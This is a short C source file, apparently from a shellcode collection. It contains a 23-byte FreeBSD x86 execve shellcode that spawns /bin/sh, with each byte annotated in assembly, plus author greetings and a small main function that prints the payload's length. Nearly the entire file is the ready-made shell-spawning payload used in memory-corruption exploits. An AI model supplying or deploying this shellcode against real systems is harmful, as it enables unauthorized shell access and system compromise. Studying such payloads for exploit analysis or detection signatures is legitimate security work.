/* FreeBSD 23 byte execve code. Greetz to anathema, the first who published * * this way of writing shellcodes. * * greetz to preedator marcetam * * admin@marcetam.net * ****************************************************************************/ char fbsd_execve[]= "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* movl %esp,%ebx */ "\x51" /* push %ecx - or %edx :) */ "\x52" /* push %edx - or %ecx :) */ "\x53" /* push %ebx */ "\x53" /* push %ebx */ "\x6a\x3b" /* push $0x3b */ "\x58" /* pop %eax */ "\xcd\x80"; /* int $0x80 */ int main() { void (*run)()=(void *)fbsd_execve; printf("%d bytes \n",strlen(fbsd_execve)); }